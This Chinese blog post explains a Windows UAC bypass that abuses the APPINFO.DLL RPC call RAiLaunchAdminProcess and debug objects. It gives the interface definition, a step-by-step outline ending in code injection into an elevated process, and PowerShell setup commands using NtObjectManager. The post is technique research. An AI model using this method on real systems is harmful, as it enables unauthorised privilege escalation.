备战一个月比赛,导致近期都没啥时间更新博客,正好今天看到一篇通过调用本地RPC服务的文章,觉得非常有意思,就拿来充充博客。
在1.0版本的APPINFO.DLL中的RPC服务调用接口ID为:201ef99a-7fa0-444c-9399-19ba84f12a1a
用RAiLaunchAdminProcess函数调用本地RPC
[ uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a), version(1.0), ]
long RAiLaunchAdminProcess( handle_t hBinding, [in][unique][string] wchar_t* ExecutablePath, [in][unique][string] wchar_t* CommandLine, [in] long StartFlags, [in] long CreateFlags, [in][string] wchar_t* CurrentDirectory, [in][string] wchar_t* WindowStation, [in] struct APP_STARTUP_INFO* StartupInfo, [in] unsigned __int3264 hWnd, [in] long Timeout, [out] struct APP_PROCESS_INFORMATION* ProcessInformation, [out] long *ElevationType );
ALPC(高级本地过程调用)调用原理图:
画的有点水,大概就是如上图所示
UAC步骤
1.利用RAiLaunchAdminProcess设置StartFlags标志为0并设置DEBUG_PROCESS来创建一个新的non-elevated进程。这将在服务器中RPC线程的TEB中初始化debug对象字段,并将其分配给新进程。
2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。
3.分离调试器并终止不再需要的新进程
4.通过RAiLaunchAdminProcess与StartFlags设置为1来创建一个新的提升进程,设置DEBUG_PROCESS标志 。由于已经初始化了TEB中的debug对象字段,因此将在步骤2中捕获的现有对象分配给了新进程。
5.检索初始调试事件,该事件将返回完整的访问进程句柄。
6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。
首先放上powershell的利用过程:
首先利用powershell的NtObjectManager模块,可以通过
Install-Module "NtObjectManager" -Scope CurrentUser
安装NtObjectManager模块,如果模块存在可以通过以下命令更新
Update-Module -Name NtObjectManager
然后解析APPINFO.DLL提取所有的RPC服务
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" ` | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
可以通过
Get-RpcServerName $rpc
生成一个XML文件
这里用修改后的测试文件
<RpcServerNameData xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager"> <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId> <InterfaceMajorVersion>1</InterfaceMajorVersion> <InterfaceMinorVersion>0</InterfaceMinorVersion> <Procedures> <NdrProcedureNameData> <Index>0</Index> <Name>RAiLaunchAdminProcess</Name> <Parameters> <NdrProcedureParameterNameData> <Index>10</Index> <Name>ProcessInformation</Name> </NdrProcedureParameterNameData> </Parameters> </NdrProcedureNameData> </Procedures> <Structures> <NdrStructureNameData> <Index>0</Index> <Members/> <Name>APP_STARTUP_INFO</Name> </NdrStructureNameData> <NdrStructureNameData> <Index>2</Index> <Members> <NdrStructureMemberNameData> <Index>0</Index> <Name>ProcessHandle</Name> </NdrStructureMemberNameData> </Members> <Name>APP_PROCESS_INFORMATION</Name> </NdrStructureNameData> </Structures> </RpcServerNameData>